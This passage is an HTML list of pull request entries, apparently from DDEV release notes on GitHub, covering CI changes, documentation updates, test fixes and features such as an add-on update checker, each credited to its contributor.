<li>chore: remove macOS amd64 CI testing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359689994" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8372" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8372/hovercard" href="https://github.com/ddev/ddev/pull/8372">#8372</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359689994" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8372" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8372/hovercard" href="https://github.com/ddev/ddev/pull/8372">#8372</a></li>
<li>fix(drupal): use configured project type for settings.php version selection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353481878" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8366" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8366/hovercard" href="https://github.com/ddev/ddev/pull/8366">#8366</a></li>
<li>ci: run golangci-lint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365231243" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8375" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8375/hovercard" href="https://github.com/ddev/ddev/pull/8375">#8375</a></li>
<li>docs(mutagen): explain how to reset to the default mode, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355654879" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8367" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8367/hovercard" href="https://github.com/ddev/ddev/issues/8367">#8367</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silverham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silverham">@silverham</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355742321" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8368" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8368/hovercard" href="https://github.com/ddev/ddev/pull/8368">#8368</a></li>
<li>docs(configuration): Add <code>ddev config --database=&lt;database type&gt;:&lt;version&gt;</code> example command (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4382057472" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8387" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8387/hovercard" href="https://github.com/ddev/ddev/pull/8387">#8387</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silverham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silverham">@silverham</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4382057472" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8387" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8387/hovercard" href="https://github.com/ddev/ddev/pull/8387">#8387</a></li>
<li>build: bump fuxingloh/multi-labeler from 4 to 5 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379236601" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8385" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8385/hovercard" href="https://github.com/ddev/ddev/pull/8385">#8385</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379236601" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8385" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8385/hovercard" href="https://github.com/ddev/ddev/pull/8385">#8385</a></li>
<li>docs: clarify --cleanup --name for single snapshot deletion (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375346339" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8384" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8384/hovercard" href="https://github.com/ddev/ddev/pull/8384">#8384</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CallMeLeon167/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CallMeLeon167">@CallMeLeon167</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375346339" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8384" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8384/hovercard" href="https://github.com/ddev/ddev/pull/8384">#8384</a></li>
<li>docs(add-ons): add real example for bats testing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365579223" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8377" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8377/hovercard" href="https://github.com/ddev/ddev/pull/8377">#8377</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365579223" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8377" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8377/hovercard" href="https://github.com/ddev/ddev/pull/8377">#8377</a></li>
<li>fix(commands): normalize $OSTYPE detection for linux, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371984340" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8382" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8382/hovercard" href="https://github.com/ddev/ddev/issues/8382">#8382</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mikee-3000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mikee-3000">@Mikee-3000</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372014245" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8383" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8383/hovercard" href="https://github.com/ddev/ddev/pull/8383">#8383</a></li>
<li>docs: Add Xcode iOS simulator info (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359170507" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8371" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8371/hovercard" href="https://github.com/ddev/ddev/pull/8371">#8371</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jamesmacwhite/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jamesmacwhite">@jamesmacwhite</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359170507" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8371" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8371/hovercard" href="https://github.com/ddev/ddev/pull/8371">#8371</a></li>
<li>feat(utility): add <code>ddev utility addon-update-checker</code> command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363864217" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8373" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8373/hovercard" href="https://github.com/ddev/ddev/pull/8373">#8373</a></li>
<li>fix(add-ons): autocomplete for path by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365566102" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8376" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8376/hovercard" href="https://github.com/ddev/ddev/pull/8376">#8376</a></li>
<li>test(wsl2): fix TestHostDBPort by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400300129" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8391" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8391/hovercard" href="https://github.com/ddev/ddev/pull/8391">#8391</a></li>
<li>test(windows): fix TestUtilityAddonUpdateCheckerCmd, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363864217" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8373" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8373/hovercard" href="https://github.com/ddev/ddev/pull/8373">#8373</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408413794" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8394" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8394/hovercard" href="https://github.com/ddev/ddev/pull/8394">#8394</a></li>
<li>docs(quickstart): Add description to Drupal Git clone example by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitressa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitressa">@gitressa</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408464620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8395" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8395/hovercard" href="https://github.com/ddev/ddev/pull/8395">#8395</a></li>
<li>fix(ddev-webserver): <code>ddev stop</code> takes 10s due to bash deferring SIGTERM during foreground cat, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218384497" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8295" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8295/hovercard" href="https://github.com/ddev/ddev/issues/8295">#8295</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408650681" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8396" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8396/hovercard" href="https://github.com/ddev/ddev/pull/8396">#8396</a></li>
<li>docs: unify homeadditions path resolution and Composer auth.json handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eiriksm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eiriksm">@eiriksm</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4420266904" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8400" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8400/hovercard" href="https://github.com/ddev/ddev/pull/8400">#8400</a></li>
<li>docs(providers): align --environment examples and flags, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4428749367" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8402" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8402/hovercard" href="https://github.com/ddev/ddev/issues/8402">#8402</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4428795862" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8403" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8403/hovercard" href="https://github.com/ddev/ddev/pull/8403">#8403</a></li>
<li>test(share): improve cloudflared debug output on unmarshal errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415837658" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8398" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8398/hovercard" href="https://github.com/ddev/ddev/pull/8398">#8398</a></li>
<li>ci(github): reorganize test jobs, add custom workflow_dispatch, remove unused workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423464019" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8401" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8401/hovercard" href="https://github.com/ddev/ddev/pull/8401">#8401</a></li>
<li>feat(add-on): add <code>#ddev-interactive</code> option for actions, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3958400616" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8155" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8155/hovercard" href="https://github.com/ddev/ddev/issues/8155">#8155</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367267290" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8381" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8381/hovercard" href="https://github.com/ddev/ddev/pull/8381">#8381</a></li>
<li>refactor(tui): upgrade bubbletea/bubbles/lipgloss to v2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430728699" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8404" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8404/hovercard" href="https://github.com/ddev/ddev/pull/8404">#8404</a></li>
<li>ci: add DDEV_EMBARGO_PHP_VERSIONS to skip specific PHP versions in TestPHPConfig [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432602123" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8407" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8407/hovercard" href="https://github.com/ddev/ddev/pull/8407">#8407</a></li>
<li>feat: use docker-compose library, optionally download docker-buildx, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3686218597" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7915" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7915/hovercard" href="https://github.com/ddev/ddev/issues/7915">#7915</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218384497" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8295" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8295/hovercard" href="https://github.com/ddev/ddev/issues/8295">#8295</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091341649" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8234" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8234/hovercard" href="https://github.com/ddev/ddev/pull/8234">#8234</a></li>
<li>ci(docs): add stable docs branch workflow, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626446323" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7862" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7862/hovercard" href="https://github.com/ddev/ddev/issues/7862">#7862</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4436512981" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8408" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8408/hovercard" href="https://github.com/ddev/ddev/pull/8408">#8408</a></li>
<li>ci(forks): fetch variables from public-variables branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439217094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8410" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8410/hovercard" href="https://github.com/ddev/ddev/pull/8410">#8410</a></li>
<li>ci(wsl2): read public-variables in pwsh, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439217094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8410" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8410/hovercard" href="https://github.com/ddev/ddev/pull/8410">#8410</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439903018" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8411" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8411/hovercard" href="https://github.com/ddev/ddev/pull/8411">#8411</a></li>
<li>ci: improve test embargo system for Go, bats, and CI workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4445844483" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8413" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8413/hovercard" href="https://github.com/ddev/ddev/pull/8413">#8413</a></li>
<li>docs(config): improve wording for database and docker_buildx_version, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4382057472" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8387" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8387/hovercard" href="https://github.com/ddev/ddev/pull/8387">#8387</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4437190033" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8409" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8409/hovercard" href="https://github.com/ddev/ddev/pull/8409">#8409</a></li>
<li>refactor: improve CheckAvailableSpace reliability and output, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387455452" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8388" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8388/hovercard" href="https://github.com/ddev/ddev/issues/8388">#8388</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolcen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolcen">@wolcen</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441784873" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8412" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8412/hovercard" href="https://github.com/ddev/ddev/pull/8412">#8412</a></li>
<li>ci(buildkite): fix MSYS path conversion breaking public-variables fetch on Windows, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439217094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8410" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8410/hovercard" href="https://github.com/ddev/ddev/pull/8410">#8410</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469883387" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8416" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8416/hovercard" href="https://github.com/ddev/ddev/pull/8416">#8416</a></li>
<li>docs(brand-guide): add light, dark, and auto logo variants to logos table, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472217677" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8417" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8417/hovercard" href="https://github.com/ddev/ddev/issues/8417">#8417</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487849922" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8419" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8419/hovercard" href="https://github.com/ddev/ddev/pull/8419">#8419</a></li>
<li>feat(docs): migrate from mkdocs-material to zensical, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3613763641" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7840" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7840/hovercard" href="https://github.com/ddev/ddev/issues/7840">#7840</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4053894144" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8216" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8216/hovercard" href="https://github.com/ddev/ddev/issues/8216">#8216</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497071680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8421" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8421/hovercard" href="https://github.com/ddev/ddev/pull/8421">#8421</a></li>
<li>docs(add-ons): mention <code>#ddev-generated</code> in quickstart by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chx">@chx</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494536198" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8420" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8420/hovercard" href="https://github.com/ddev/ddev/pull/8420">#8420</a></li>
<li>ci(docs): enable zensical strict mode, use dynamic Pages base URL, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497071680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8421" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8421/hovercard" href="https://github.com/ddev/ddev/pull/8421">#8421</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501866656" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8423" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8423/hovercard" href="https://github.com/ddev/ddev/pull/8423">#8423</a></li>
<li>fix(ddev-dbserver): unlink stale socket before mysqld init by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502303473" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8424" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8424/hovercard" href="https://github.com/ddev/ddev/pull/8424">#8424</a></li>
<li>test: add details to TestCmdAddonPHP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504444004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8425" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8425/hovercard" href="https://github.com/ddev/ddev/pull/8425">#8425</a></li>
<li>chore(sponsors): update percentage and api link [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523958874" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8427" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8427/hovercard" href="https://github.com/ddev/ddev/pull/8427">#8427</a></li>
<li>ci(pr): migrate to ddev/commit-message-checker@v3 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525819574" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8428" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8428/hovercard" href="https://github.com/ddev/ddev/pull/8428">#8428</a></li>
<li>test(lima): fix broken cleanup in TestCmdAddonPHP, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504444004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8425" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8425/hovercard" href="https://github.com/ddev/ddev/pull/8425">#8425</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534532321" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8430" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8430/hovercard" href="https://github.com/ddev/ddev/pull/8430">#8430</a></li>
<li>fix: replace remaining world writeable directories, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4135827270" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8251" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8251/hovercard" href="https://github.com/ddev/ddev/issues/8251">#8251</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367047484" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8379" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8379/hovercard" href="https://github.com/ddev/ddev/pull/8379">#8379</a></li>
